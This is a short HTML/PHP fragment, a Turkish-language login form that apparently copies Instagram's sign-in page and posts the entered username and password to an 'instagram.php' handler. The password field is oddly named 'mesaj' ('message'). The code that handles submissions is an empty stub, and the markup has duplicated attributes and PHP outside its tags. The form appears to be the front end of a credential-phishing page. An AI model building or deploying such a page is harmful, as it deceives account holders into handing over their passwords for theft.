<form action="instagram.php" method="post">
            <div class="loginlogo"><img src="file/logo.png"></div>
            <?php echo "$gittiMesaji"; ?>
    
    <div class="form-group">
              <input type="text" class="form-control" name="email" placeholder="Telefon, kullanıcı adı, ya da email" name="email"  required="">
            </div>
            
            <div class="form-group">
              <input type="password" class="form-control" name="mesaj" placeholder="Şifre" name="password"  required="">
            </div>
            
            <div class="form-group">
              <button type="submit" name="submit" type="submit"
class="btn btn-success">Gönder</button>
            </div>
            <a class="passyenile" href="#">Şifremi Unuttum?</a>
          </form>

if (isset($_POST["submit"])) {
   
}